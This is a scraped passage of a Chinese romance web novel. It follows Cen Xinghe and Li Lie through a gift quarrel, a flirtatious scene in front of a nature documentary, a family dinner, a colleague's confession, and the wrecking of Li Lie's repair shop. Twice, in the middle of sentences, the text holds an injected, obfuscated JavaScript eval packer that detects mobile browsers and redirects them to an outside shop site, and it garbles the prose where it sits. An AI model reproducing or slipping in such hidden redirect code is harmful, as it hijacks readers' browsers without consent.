岑星禾注意到那个纸袋,上面印着一排蓝色的英文字母LOUISVUITTON,哪怕她再对奢侈品没概念,也认得这个品牌,这不便宜。 “从哪弄来的?”她指着那个袋子。 李烈咬了一口苹果,腮帮子鼓着,含混地说:“当然是买的。” 岑星禾拉着纸袋看了一眼,包装盒不小,应该是属于通勤类的包,“你买它干什么?” “送你的。” 岑星禾心念一转,立马就知晓了他的心思。 她转身走回沙发上坐下,同样拿起苹果咬了一口,拿起遥控器,打开电视机,状似平常语气,“太贵了,你拿去退了。” 李烈从沙发上坐直了身体,把苹果核扔进垃圾桶,“我看胡楚楚和她的朋友都背这包,别人有的,你也得有。”他的表情很认真,不像是开玩笑。 “我不想和别人比。” “我没让你比。”他站起来,把纸袋放在她旁边的沙发上,“就是觉得你背应该比她好看。” 岑星禾这才转头看着他,“李烈,你马上要开学了,学费和生活费要不少,还有杂七杂八的费用一大堆,不要买这种奢侈品,它在我的生活中起不到任何作用。” 她说的是实话,背帆布包和背LV对她来说没什么区别,别人炫富她都看不懂品牌,也许是还没到年纪,总之她对奢侈品并不执着。 李烈下颌绷着,过了几秒,他站起来,就往门口走。“那你扔了吧,”他拉开门,头也没回,“我以后再也不送了。” 门外的热浪一下子涌进来,烫得人皮肤发紧。 他穿的那件黑色短袖,后背已经湿了一片,贴在肩胛骨上,轮廓分明,他的步子很快,已经迈出了门槛。 她追到门口,伸手拉住他的手臂,他的手臂很硬,被太阳晒得发烫,她的手握在他小臂上,刚好能圈住一半。 “那么热你去哪?” “回去修车。” 岑星禾看了他一秒,两秒,三秒。 他的侧脸在阳光下没有任何表情,睫毛垂着,眼尾的弧度有一点往下走,岑星禾的心口被什么东西揪了一下,还是不忍心他难过,他总能接受她的好意,她却把自己放在另外更高的位置,无法接受他的好意。 “回来。”她松开他的手臂,让开门口,“我收下。” 李烈偏过头看了她一眼,“真的?” 他的眉毛动了一下,嘴角那个坏坏的弧度慢慢地回来了,他转身走回来,去厨房洗了手,又拿了第二个苹果,咔嚓咬了一口,靠在沙发上,翘起二郎腿继续吃,整个人阴转晴,转得比翻书还快。 岑星禾哭笑不得,“下次干万不要给我买贵重礼物了。” 李烈嚼着苹果,含混地“嗯”了一声。 岑星未不知道他听进去了没有,她看着那个橘色袋子,又看了看正低头啃苹果的李烈,一口接一口,很认真地在啃苹果。 她叹了口气,把袋子拎进卧室,放在衣柜最上面那层。 回来的时候,他已经把苹果核扔了,正拿着遥控器换台,从体育频道换到电影频道,又换到综艺,最后停在一个动物世界上,电视里一只狮子正趴在石头上打哈欠。 “晚上吃什么?”他眼睛没离开屏幕。 岑星禾在他旁边坐下来,中间隔了一个靠垫的距离,“你想吃什么?” “随便。” “没有随便。” “那就面条。” “又吃面条?” 岑星禾看着他的侧脸,窗外的光把他轮廓照得很清楚,他盯着电视里的狮子,嘴角还带着一点没来得及收回去的弧度。 她点开外卖软件,手指停在螺蛳粉那里顿了顿,又滑了过去,“我们吃淮扬菜吧。” 李烈又点了点头。 岑星禾拿起外卖软件,挑选了起来,心里对李烈的心疼又多了一分,他对生活条件几乎到了无要求的状态,吃什么喝什么都行,睡哪里都可以,两三件T恤来回换能穿一夏天。 两个人坐在沙发上,狮子在电视里打哈欠,蝉在窗外叫,空调嗡嗡地转,外卖还要等半小时。 岑星禾靠着沙发,余光里是他搭在膝盖上修长的手指,指节分明,一张大手略显粗糙。 刚才她拉住他手臂的时候,他是不是心跳也快了? 她不知道。 她也没敢看。 * 岑星禾把衣服塞进洗衣机,按下启动键,滚筒开始转动,水声哗哗的,她站在卫生间门口,看了一眼客厅的方向。 赵忠祥的声音低沉又缓慢,像催眠曲,李烈看得挺认真的,手里还拿着那个咬了一半的苹果,半天没动。 她走回客厅,在他旁边坐下,沙发陷下去一块,他往她那边偏了偏,又坐正了。 “你妈呢?”他忽然问。 岑星禾拿起遥控器把音量调小了一点,“怎么问这个?” “回来这么久了,”李烈咬了一口苹果,嚼了两下,“从来没听你提过。” 岑星禾的妈妈叫于向清,三年前谈了一个男朋友,姓周,是个退了休的工程师,人挺和气的,妈妈搬去周叔叔家住了,老房子空着,她偶尔回去打扫一下。 “我妈五月底就和周叔叔回老家避暑了,那边待着舒服。” 李烈点了点头,“怪不得。” “我妈知道你回来了很开心,说在你去上学之前,一定要赶回来见你。” “不着急,”李烈把苹果核扔进垃圾桶,动作利索,“以后再见也不迟。” “我妈一直很担心你,”她声音低了一点,“有时候半夜醒了,会来敲我的门,问我你有没有消息。” 李烈的手在膝盖上停了一下,他没有看她,目光盯着电视里那只狮子,狮子站起来,慢悠悠地走向镜头,鬃毛被风吹得往一边倒。 “那你呢?”他问。 “嗯?” “你有没有想我?” 客厅里安静了一瞬,电视里赵忠祥的声音还在说,岑星禾听不清电视里说了什么,她转过头看着李烈,眼神凝在他侧颜。 少年瘫在沙发里,长腿伸着,右手摆弄着遥控器来回转,表面完全一副无所谓状态,好像没有期待得到回答,耳朵却对准她这边,竖得很高。 “你有没有良心?”她说的每个字都清清楚楚,“你一声不吭地走了,这三年我每天都在想你在哪,过得好不好,有没有吃饱,有没有受伤,有没有人欺负你。” 他哦了一声,脸上的表情还绷着,嘴角有一点不太听话的弧度,想笑又忍住了。 “你哦什么哦?”她说。 “没什么。”他清了清嗓子,“就是知道了。” 岑星禾看着他那副明明心里偷偷高兴,偏要装作若无其事的样子,便不想跟他计较了。 “你不要跟我妈提我受伤的事,她本来就不同意我上警校,她想要我考个师范,当老师安安稳稳的,我爸那事之后,她担惊受怕了很多年。” “你不会说漏嘴吧?”她问。 “不会。”李烈终于转过头看着她,“你不让说的我一个字都不会说。” 岑星禾看着他那副乖乖的模样,心口那个地方又软了一下。 “我去把衣服晾了,”她站起来,“外卖要是到了,你去拿一下。” 洗衣机刚停,她转身走向阳台,把湿衣服一件一件拿出来抖开,挂在晾衣架上。 李烈还坐在沙发上,电视里的动物世界换了一段,这回播的是老虎,他看得入迷,手指在大腿上轻轻敲着,跟着电视里的节奏。 岑星禾晾完衣服回来,路过茶几的时候,发现他手里多了一本书,是她前几天从房间里拿出来看的,忘了塞回去。 李烈翻了两页,抬头看了她一眼,嘴角有一点弧度,岑星禾脸一下子烫了,一把夺过来,把漫画藏到身后,“干嘛碰我的书,没礼貌。” 李烈靠在沙发上,一条胳膊搭在靠背上,姿势懒洋洋的,他的目光从她泛红的脸颊扫过去,落在对面镜子里那本被她藏到身后的漫画上,“肌肉男,你喜欢这种?” “你管我。”岑星禾快速把漫画塞回茶几的抽屉里拉上。 她不知道自己在慌什么,那几本漫画是她刚工作那年买的,画风好,剧情也不错,主角确实身材挺好的。 李烈站起来,走到她面前。 他比她高太多了,她整个人被他投下的影子罩住,他今天穿了一件浅灰色的T恤,领口扯得松散,喉结凸起的异常明显。 他低下头看着她,手指捏住T恤的下摆,慢慢往上撩了撩,刚好露出一截腹肌的线条,皮肤和她比,黑了两个度,肌肉的纹理不夸张,每一块都清清楚楚,腰线收得很窄,从胸口一路往下,消失在腰带下面。 太熟悉了,坐他车时还摸过,岑星禾的视线在上面停了一瞬,感觉被烫了一下,快速弹开了。 “我也有,”他尾音上扬,有种不正经的腔调,“你要摸摸吗?” 他的语气是懒散的,眼睛目光很深,带着一点试探,还有一点紧张,紧张的底色藏得很难察觉,压抑的欲望让他面部表情看起来侵略性十足。 岑星禾丝毫不怀疑,只要她敢伸出手摸一下,他就会扑上来,毫不留情地把她吃摸干净。 “李烈,你......” “嗯?” “把衣服放下去。” “为什么?” 她深吸一口气,“因为不礼貌。” 李烈低低地坏笑一声,松手T恤下摆落回去,盖住了那截腰,他故意站在她面前,两个人之间的瞬间拉近,她的睫毛快要扫到他的下巴,她听见李烈沙哑的声音在耳边呢喃:“你看漫画的时候,可没觉得不礼貌。” 岑星禾往后退了一步,后脚跟碰到茶几腿,晃了一下,李烈伸手拉了她一把,手掌稳稳地握住她的上臂,他的手掌很大,几乎圈住了她整条胳膊,拇指正好按在她伤口好的位置,“小心。” 岑星禾站稳了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548342|204249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不自在地把他的手从自己胳膊上甩开,“我饿了,外卖怎么还没到。” 李烈看着她手忙脚乱地拿起手机查外卖订单,嘴角坏坏弧度又大了一点。 他转身走回沙发上坐下,拿起遥控器把音量调大了一点,赵忠祥的声音再次充满了整个客厅。 岑星禾站在茶几旁边,低头看着手机,订单显示骑手还有三分钟到达,她又偷偷深呼吸一口气,使劲把刚才的画面甩出脑袋。 “外卖还有十五分钟。”她努力让声音听起来很正常。 李烈眼睛看着电视,没再有任何反应。 岑星禾在他对面坐下,低头假装看手机,心跳还是遏制不住地跳,后知后觉发现自己的手居然在抖,她攥了攥手心,努力让内心平静下来。 手指在手机屏幕上胡乱划了几下,根本不知道玩什么,她抬起头,想看电视缓解一下尴尬。 动物世界正好切了两只狮子上下交叠在一起的画面。 公狮子站在母狮子身后,前爪搭在对方的背上,低下头,咬住了母狮子的后颈,母狮子趴在地上,尾巴微微往旁边甩了一下。 镜头稳稳地推近,赵忠祥那低沉平缓的声音不紧不慢地响起来,像在念课文:“在狮子群中,□□行为通常持续数天,公狮子会多次与母狮子□□,每次时间很短,但频率很高,公狮子咬住母狮子的后颈,一方面是固定对方,另一方面也是一种刺激行为……” 岑星禾全身一僵,眼前的画面和旁白像两根钉子把她定住,脸颊好像被火柴棒擦过,一路烧到耳尖。 她不敢看电视,也不敢看李烈。 她的目光落在茶几上那杯凉透了的水上,又移到那只歪耳朵兔子上,最后移到沙发上的遥控器,一把抓过来换了台。 李烈眼睛眨了下,将抱枕往下推了下,挡在身上,靠在沙发里一声不吭。 岑星禾找了一圈没好看的台,要么电视购物,要么是新闻,换了一圈居然又换回动物世界,她想往回按,还不如看新闻。 谁知按错了,音量调大了一格,赵忠祥的声音更清楚了。 “咬住后颈的动作会刺激母狮子分泌荷尔蒙,促进排卵……” 岑星禾咬了咬嘴唇,又按了两下,将音量变小了,公狮子松开了母狮子的后颈,换了一个姿势。 她有些绝望地把眼睛闭上了一瞬,又睁开,盯着天花板,天花板上有一盏灯,没开,灯罩里落了一只小飞虫的尸体。 她走也不是,不走也不是。 走的话太刻意了,好像她多在意似的,不走的话,整个人都要烧起来了,她偷偷用余光瞄了一眼李烈。 他陷进沙发深处,一只手背支着额侧,腕骨分明衬得眉眼愈发深沉,长腿交叠翘起二郎腿,单腿屈起敞着,另只手随意搭在腹部的抱枕上,头侧向她的方向,眼睛却盯着电视,表情没有任何变化,有一种事不关己的从容。 赵忠祥还在慢慢悠悠地讲解中。 画面转到公狮子从母狮子身上下来,喘了几口气,又爬上去了,岑星禾攥了攥手机,站起来,椅子往后推了一下,发出一声轻微的吱呀。 “我去看看外卖到哪了。”她尾音飘了一下。 李烈单边唇角上扬,噙着抹玩味笑意,“外卖还有十五分钟,你刚才说的。” 岑星禾找到一个拙劣地借口,“我去阳台看看。” “你脸红什么?”李烈明知故问。 她站在那里,进退两难。 电视里赵忠祥终于换了一个话题,开始讲狮子捕猎的技巧,她悄悄松了一口气,那股燥热还卡在喉咙里,咽不下去,吐不出来。 岑星禾瞪了他一眼,“热的。” “空调开二十度。” “那就是闷的。” 李烈冷不丁从沙发上站起来,走到她面前,隔了半步的距离,她的心跳已经开始加速了,像有人在她胸腔里打鼓。 “你真的想看吗?”他问了一句没头没尾的话。 岑星禾懵了一下,“看什么?” 李烈扫了一眼电视屏幕,又回到她脸上,她能从他的眼神里读到一些不太正经的东西。 “狮子。”他说。 岑星禾全身的毛一下子炸开了。 她伸手推了一下他的胸口,他在同一时间抬起手,精准地握住了她,手指穿过她的指缝扣住了。 “你......”她的声音卡在喉咙里。 “我什么?”他眼底有藏不住的炙热欲望,声音惊人得沙哑,“我在跟你讨论动物世界,你想到哪去了?” 岑星禾的脑子彻底转不动了。 他的手掌很大,把她的手包得严严实实,掌心的温度沿着她的血管往上爬,爬过手腕和手臂,一直爬到了心口。 她好像发烧了,五脏六肺很热很热,比西游记里被妖怪抬进蒸笼里的唐僧还热。 她这手足无措的模样又将他惹得心神难抑,语气里藏着快要绷不住的浓烈情愫。 “岑星禾,你脑子里是不是在想什么不健康的东西?” 岑星禾用力把手抽出来,退了两步,“李烈你有病吧!”她转身就往卧室走,步子又快又急,拖鞋在地板上啪嗒啪嗒地响。 身后传来他的轻笑,她能想象他的表情,他的眼睛一定还落在她身上,映着她落荒而逃的背影,带着那种晦涩的,暗昧的,带着让人无力抵抗的侵占欲。 想得最不健康的就是李烈,他低头看了看自己那里,喉间泛起细微起伏,面上的笑意收了收,眼底的笑意却没散。 他坐回沙发里,仰起头,闭上眼睛,胸腔起伏了一下又一下。 木星从沙发角上跳下来,踩着他的腿走过去,尾巴扫过他的手背,他睁开眼,侧头看了猫一眼,摸了摸它的头,声音低哑:“别闹。” 岑星禾靠在门板上,双手捂住脸给自己降温,手心也很烫,干脆找了一张纸扇风。 十分钟后,外面传来他的声音,“外卖到了,出来吃饭。” 岑星禾深吸一口气,又深吸一口气,她把脸埋进手心里,耳朵烫得能煎鸡蛋。 “你先吃!”她喊了一声。 “你确定不出来了?” “确定!” 门外安静了一会儿,她听到他的脚步声走近了,他的声音低低的,像贴着她的耳朵说的一样。 “那我给你留着。” 岑星禾把脸埋进枕头里,闷闷地叫了一声,木星站在门口也跟着喵呜了两声,用抓了扒了扒门。 她翻了个身,看着天花板。 窗外烈日炎炎,让人心里发燥,她将毛毯扯过蒙住脸,心想这个人真的太讨厌了。 14. Chapter14·见岑母 过了一周,岑星禾和李烈约了时间,去于向清那里吃饭。 周叔叔不在家,应该是特意为了让她们三人相聚腾出空间,于向清那天很开心,连连夸李烈长成大人了。 在他们没来之前,于向清和周叔叔就把饭菜准备得差不多了,于向清在厨房与餐厅之间来回穿梭,端出来的盘子几乎要把整张餐桌铺满。 从糖醋排骨到可乐鸡翅,红烧肉和蒸鱼,几样可口的素菜,还有一盆冒着热气的玉米排骨汤,全是李烈小时候端着碗眼巴巴等在厨房边上爱吃的菜。 李烈坐在餐桌前,低头摆弄了一下面前的筷子,把它从左边挪到右边,又从右边挪回左边。 岑星禾靠在厨房门框上,忍不住笑了一声:“妈,你做这么多,不知道的还以为家里要来一个车队。” 于向清手上麻利地掀开榨汁机的盖子,把打好的草莓奶昔倒进玻璃杯里,特意多加了草莓果粒,“什么叫一个车队,我一个人拉扯你这么多年,做顿饭犒劳自己不行?” 于向清把那杯草莓奶昔稳稳当当地放到李烈面前,“小烈,你尝尝,阿姨记得你小时候就爱喝这个,有一回你跟你星禾姐去逛超市,什么都不要,就抱着一盒草莓不撒手,最后她掏零花钱给你买的。” 李烈接过去,指尖碰到杯壁的凉意,那点冰凉顺着指腹往上蔓延,像是把他整个人都拽回了某个遥远的夏天。 奶昔很甜,他舔了舔上唇沾着的粉色奶沫,笑容短促而明亮,“阿姨记性真好,我自己都快忘了。” “忘了?”于向清拿围裙擦了擦手,她看了李烈一眼,目光里带着一种长辈特有的审视与慈爱杂糅的复杂神色,“你这孩子,一走好几年,电话不打一个,消息不发一条,想把我们吓死。” 岑星禾面不改色地把排骨放到自己碗里,“妈,你少说两句,吃饭。” 于向清用公筷给李烈夹了一块排骨,“小烈,你星禾姐说你在跑机车比赛,我听着心里直打鼓,那玩意儿多危险啊。” 李烈咬一口排骨慢慢嚼,听于向清说完礼貌地笑了笑:“阿姨,我是专业的,不会有事。” 于向清筷子搁在碗沿上,发出一声细小的脆响,“小烈除了机车还有其他的爱好吗?咱能不能换一个安全点的?” 岑星禾在这片安静里忽然开口,像一把剪刀干净利落地把沉默裁开了:“妈,汤要凉了。” 于向清赶紧盛了一碗汤推到李烈面前,汤面上浮着几颗金黄的玉米粒和星星点点的葱花,热气氤氲着往上飘,模糊了她的表情。 她叹了口气,“小烈,你别怪阿姨唠叨,我是真把你当自己家孩子,你星禾姐在派出所,瘦得跟杨柳条似的,非要去抓罪犯,上回追一个盗窃犯把膝盖磕破了,回来也不说,自己拿碘伏一抹就完事,还是她师傅老周打电话跟我说的。” “你呢,骑个机车满世界跑,我看了你比赛的视频,那速度我看着都腿软,你们姐弟俩是要气死我。” 李烈抬起眼看了岑星禾一眼,目光里有什么东西一闪而过,岑星禾正低头喝汤,发梢从耳后垂下来,遮住了半张脸。 于向清一边给两人夹菜一边继续说道:“还有星禾,我跟你说正经的,你王阿姨的侄子,斯斯文文那个,人家现在是区税务局的,比你大三岁,你倒是给我个话。” 岑星禾把汤匙搁下,抬起脸来看于向清,“我不着急,再说了,年纪大有什么好的?” 于向清立刻来了精神,“年纪大会疼人,你们现在这些年轻人谈恋爱,跟过家家似的,今天好明天散,能长久到哪里去?” “年纪大还有老人味呢。”岑星禾低声嘟囔。 李烈夹菜的动作没有停顿,脸上的表情也维持得很好,但他伸向糖醋排骨的那双筷子在盘子里多停留了一秒,那块排骨被他夹起来的时候带起了一缕黏稠的糖丝,在空中拉得很长,颤颤巍巍地连着两个端点,然后啪地断掉了。 于向清皱了皱眉头,“小烈,你说说你姐姐,太不省心了,一提相亲就打太极。” 李烈把嘴里那口饭嚼得很慢,像是在用牙齿研磨什么极其复杂的配方,“阿姨,还是尊重她自己的意愿吧。” 于向清只好摇摇头,拿起筷子又给他夹了一块可乐鸡翅,鸡翅炖得软烂,筷子一夹就骨肉分离,“你们这些年轻人啊,一个比一个有主意,我真是摸不透。” “好了妈,你别操心我了,你先把你自己照顾好,降压药有没有按时吃?腰还疼不疼了?” 于向清被女儿这一串连珠炮堵得哑火了半秒,随即又叹了口气,她转过头看李烈,目光里有一种混杂着心疼和担忧流露。 “小烈要上大学了,以后为自己的将来规划规划,机车能少跑就少跑,阿姨希望你平安健康,你明白吗?” 李烈把那杯快见底的草莓奶昔端起来,晃了晃,仰头一口喝完,然后把杯子放下,“阿姨,我会注意安全的,学业我也不会耽误,您放心。” 于向清显然很满意他的态度,笑着点点头,又起身去厨房盛饭。 她走后餐桌上有那么三五秒钟的空白,像一首歌副歌唱完之后那段短暂的间奏,安静得能听见客厅墙上挂钟秒针走动的滴答声,一下一下,不急不缓。 李烈侧过头,看了岑星禾一眼。 岑星禾正在喝汤,脸颊微微鼓着,她小心翼翼地吹气,睫毛垂下来,在颧骨上方投下一小片扇形的阴影。 李烈低下头,把那盘糖醋排骨里最标准的一块夹到了她的碗里,骨头上裹着厚厚一层深琥珀色的酱汁,搁在白米饭上洇开一小圈油渍。 他的动作很自然,像是对她小时候的还礼,岑星禾用筷子的尾端轻轻地敲了一下他的手背,力道不重。 那块排骨她吃了。 * 从于向清那里回来之后,岑星禾觉得李烈好像变了一点。 说不上哪里变了。 他还是每天发消息,有时候发一张修车铺里新到的零件照片,有时候发一句吃了吗,有时候什么文字都没有,突然发一个表情包。 她回他一个问号,他说“试试你在不在”。 岑星禾想,于向清的话多多少少对十九岁的李烈来说有点冲击力,她心中完美的女婿直接把李烈排除在外了,及格线没碰到,把孩子都整自闭了。 周四下午,杨铭发来消息:[星禾,周六有空吗?一起吃个饭。] 岑星禾看着屏幕,手指悬在键盘上方,回了一个字:[好。] 刚好周六中午,李烈发信息问她在干什么,岑星禾想了下,回:[睡懒觉] 周六晚上,杨铭选了一家淮扬馆,在城东一个安静的巷子里,装修素净,灯光柔和,桌上铺着白色的桌布,筷子架是青花瓷的。 岑星禾穿了一件白色的棉质衬衫,头发披着,左臂的疤痕还泛着淡淡的粉色,被袖子遮住了,杨铭看到她进来,站起来帮她拉开椅子。 “伤口怎么样了?”他目光落在她的左臂上。 “好了,就等颜色慢慢褪了。” 杨铭点了点头,把菜单推到她面前,“看看想吃什么,这家的狮子头不错,蟹粉豆腐也好。” 两个人点了几道菜,边吃边聊。 杨铭说了些局里的近况,她也说了些,话题稳稳当当地在安全的区域里打转,仿佛一条开春化冻的河水流得很慢,没有任何波澜。 吃到一半,杨铭忽然放下筷子。 岑星禾抬起头,看见他把手放在桌上,手指交叉在一起,拇指互相绕着圈,这个动作她见过很多次,是他紧张时的标准动作,“星禾,我有话跟你说。” 岑星禾也放下筷子。 她知道他要说什么了。 杨铭笑了笑,平时他的笑礼貌得体,今天的笑底下有一层很认真的东西,“我在局里这么多年,见过很多人,像你这样聪明又通透的性格很少。” “追你的人应该不少,你没给过任何人机会,我一直以为你是心里有人,后来以为你是放不下你爸的事,再后来我以为是时间问题。” 窗外有车经过,灯光从窗帘的缝隙里漏进来,在墙上划了一道细长的弧线,又消失了,“但那个人现在出现了,对吧?” 岑星禾的睫毛颤了一下。 杨铭看着她的表情笑了,那笑容比刚才更淡了,像一杯泡了很多遍的茶,颜色还在,味道已经没了。 “你心里那个人不是我。” 餐厅里很安静,隔壁桌有人在低声聊天,服务员端着盘子从走廊经过,脚步声轻而快。 岑星禾张了张嘴,想说点什么。 不是你想的那样。 他只是我小时候照顾过的弟弟。 我们现在没什么。 每一个字到了嘴边都咽回去了,“师兄,对不起。” 杨铭摇了摇头,他端起面前的茶杯,喝了一口,“我就是想让你知道,不是想让你回应什么,也不是想让你为难。” 他露出一个苦笑,“就是知道了就行。” 岑星禾看着他的脸。 三十岁的男人,眉眼干净,说话做事永远得体,连退场都退得这么体面,她忽然觉得有一点难过,“师兄,你以后会遇到更好的人。” 杨铭的表情像药片含在嘴里还没咽下去,“你也是。” 他没说你已经遇到了,但两个人都知道。 吃完饭,杨铭坚持送她回家。 车停在楼下,他下车拉开后座门,从里面拿出一个袋子,白色的,印着餐厅的名字,“给你带的青团,我记得你爱吃。” 岑星禾接过来,“谢谢师兄。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548343|204249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 杨铭站在车旁边,想说什么,嘴唇动了动,最后只是笑了一下,说:“上去吧。早点休息。” 她转身走进单元门,门在身后关上的那一刻,她听到车子发动的声音,由近及远,慢慢消失在夜色里。 她没有回头看。 电梯到了楼层,岑星禾走出来,掏钥匙开门,楼道里的声控灯已经灭了,她跺了一下脚,灯亮了,突然她看见楼梯间的角落里站着一个又高又大黑影子。 仔细再一看是李烈。 他靠在墙上,一条腿曲着,脚踩在墙根,另一条腿伸开,他穿着一件白T恤,头发有点乱,手里拎着一个塑料袋,透明的那种,里面装着一盒草莓和一盒混合果切。 声控灯的光照在他脸上,他的表情混在光中,看不真切。 岑星禾愣了一下,“你怎么在这?” 李烈从墙上起来,走到她面前,楼道不宽,他站过来的时候,整条走廊都显得窄了,他的身上有夜风的味道,凉凉的,还带着一点汽油的尾气。 “路过。”他说。 岑星禾看着他那张没什么表情的脸,又看了看他手里的水果,“这么巧。” 李烈低头看着她,他的眼睛很黑很亮,像两片深不见底的水潭,底下沉着什么东西,沉沉浮浮的,看不清。 “你去见他了?”他声音可以说是轻的,楼道太空旷了,回音把尾音撞来撞去,变得又重又长。 岑星禾看了他两秒,“嗯,和师兄聊点事。” “那你怎么说在睡觉?”他的问题很犀利。 “这都天黑了,总不能睡一天吧。” 岑星禾打开门,示意他进去。李烈迈开长腿进了门,“你们聊什么了?” “他请我吃饭,”岑星禾说,“庆祝任务结束。” “就你俩?” “嗯。” “还说了什么?” “就单位的一些琐事。” 岑星禾看着他的表情,他的下颌线绷得很紧,喉结上下滚动了一下,嘴角没有弧度,眼睛里也没有笑意。 进门后的房间没开灯,两个人在黑暗里站了一瞬。 岑星禾按下开关。 灯亮了。 李烈看着她,眼眶有一点红,他拎着塑料袋的手攥紧了一点,塑料袋发出细碎的声响。 “然后呢?”他的声音有点哑。 “什么然后?” “还说了什么?” “没说什么了。” “我不相信。” 岑星禾看着他手里的塑料袋,恰到好处的扯开话题,“你买这些干嘛?” 李烈低头看了一眼自己手里的东西,像是不记得自己买了什么,他的手指在袋子上握了握,指节泛白,“路过水果店,顺便买的。” “放那过来坐,”岑星禾给自己倒了一杯水,示意茶几方向,“你杵那当门神呢?” 李烈的下颌动了一下,转身走过来,“你们打算谈恋爱吗?” 岑星禾差点被水呛到,“你胡言乱语着什么呢?” 他不咸不淡盯着她,“他刚给你什么了,我看看。” 她没理他,拎过他带来的水果,到厨房把草莓洗了,放进果盘里,自己坐到地毯上,打开了混合果切,拿起牙签,叉起一片西瓜吃了一块,很甜。 李烈打开杨铭送的青团,一共四个,上面标着不同口味,他拿起一个,撕开外面透明的包装,两口吃完了一个。 “你爱吃这个啊?”岑星禾诧异。 李烈摇摇头,拿起她的水杯喝了两口水,又把第二个打开,同样三两下吃了,紧接着拆了第三个,第四个。 岑星禾看得直皱眉,“你别噎着。” 李烈一口气吃了四个青团,喝了满满一杯子水,最后打了一个饱嗝,“不好吃。” 岑星禾有些无语地给他递了一张纸巾。“你以后别在门外等了。” 李烈的手顿了一下。 “外面蚊子多。”她说。 她看见李烈的肩胛骨动了一下,好像是一口气从胸口吐了出来,又憋了回去,“嗯,下次带蚊香。” 岑星禾没忍住笑了。 两个人坐在沙发下面的地毯上,中间隔着一个人的距离,头顶的灯光把他们的影子投在地上,交叠在一起。 “钥匙我复制了一份,你待会拿回去。” 李烈点点头。 岑星禾问:“你几点来的?” 李烈说:“忘了。” 她把一块块西瓜往嘴里送,李烈一条胳膊搭在沙发上,手指微微蜷着,又不经意伸开动了下,离她的肩膀只有一拳的距离。 谁都没有再说话,好像什么都不用说了。 窗外的蝉鸣还在继续,一声接一声,绵延不绝。 15. Chapter15·家没了 泰显川不认罪。 这是岑星禾从老周嘴里听到的第一句话,老周把卷宗摔在桌上,烟灰缸里的烟头堆成了小山,办公室里烟雾缭绕,像着了火。 泰显川请了三个律师,翻供,咬死了是李承受贿,被他发现之后恼羞成怒,栽赃陷害,这完全在意料之中。 “这人太狡猾了。”老周骂了一句,把烟掐灭在缸里。 岑星禾站在办公桌前,手里的茶杯凉了,她没有喝,也没有放下,而泰显川被捕的消息传出去只用了半天。 先是有营销号截取了一段“知情人士爆料”,说当年泰景宁毒糖浆案的真相是李承利用化工专家的身份,收受贿赂,在配方上做了手脚,泰显川发现后要报警,李承为了灭口,伪造证据反咬一口。 紧接着是网络上铺天盖地的转发,评论区的画风像被同一只手操纵,整齐划一,戾气冲天。 “原来他爸是这种人” “怪不得儿子也是混混” “冠军?罪犯的儿子也配?” “这种人就该死全家” “机车手?呸”。 …… 岑星禾一条一条往下翻,手指在屏幕上滑,越滑越快,那些字像针一样扎进眼睛里,疼得人五脏六肺皆碎,她想把手机扔掉,手却不听使唤,还在往下滑。 “李烈之前不是孤儿吗?原来他爸是被抓的,活该。” “一家子都不是好东西。” ...... 她按灭了屏幕。 办公室里很安静,空调嗡嗡地响,窗外的蝉鸣一阵一阵的,像锯子来回拉。 她拿起手机,又放下,又拿起来,点开李烈的对话框,打了几个字删掉,再打再删,最后发了一句:“你在哪?” 没有回复。 过了五分钟,她又发了一条:“李烈,回我。” 还是没有回复。 直到听到出勤回来的同事讨论,城西修车铺被一群陌生人打砸,她才抓起包就往外跑。 修车铺外面的那条巷子她走过无数次,窄窄的,两边是老旧的砖墙,墙角长着青苔,路灯要等到晚上七点才亮。 今天她走进去的时候,发现路面上有碎玻璃,一片一片的,在午后的阳光下闪着刺眼的光,像碎掉的星星,她踩上去,鞋底发出咯吱咯吱的声响,每一下都像踩在她自己的心口上。 越往里走,碎玻璃越多,她看到修车铺的铁皮门了。 门是开着的,整扇门被从外面踹开,门板歪在一边,铰链断了,像被掰折的胳膊,胡式修车的招牌被人扯下来扔在地上,上面有几个脚印。 里面更惨,货架倒了,工具散了一地,扳手、螺丝刀、火花塞,乱七八糟地堆在地上,像倒下来的垃圾,墙上的海报被撕了一半,剩下半张耷拉着,上面是一个机车的剖面图,被人用黑色马克笔画了一个大大的叉。 那张刚换过床单的行军床被人掀翻了,被子踩在地上,深灰色的床单上全是泥巴和脚印,枕头被划开了,羽毛飞了一地,白花花地铺在黑色的机油上,像雪落在泥里。 旧冰箱也倒了,门开着,里面的鸡蛋碎了一地,蛋液和机油混在一起,黏糊糊的,流了一滩。 那个机油瓶里面插着她送的白花,被摔碎了,玻璃碴子散了一地,花不知道被踩了多少脚,花瓣烂了,和碎玻璃搅在一起,看不出原来的颜色。 岑星禾站在门口,腿像灌了铅,她想走进去,脚抬不起来,怕自己的鞋底会碾到那些东西,那些是他一件一件攒起来的东西,也有她一样一样添置的东西。 李烈站在屋子中间,靠着那根承重的柱子,双手插在裤兜里,头微微低着,看着地上的某一片碎玻璃。 他的白T恤上有几道灰色的印子,像是被人推过或者什么东西蹭上去的,头发乱着,额前的碎发垂下来,遮住了半边眼睛。 岑星禾终于迈出了步子,碎玻璃在脚底下咔嚓咔嚓地响,她走到他面前,两个人之间隔了不到两步的距离,她想说什么,但嗓子像被什么东西堵住了,发不出声音。 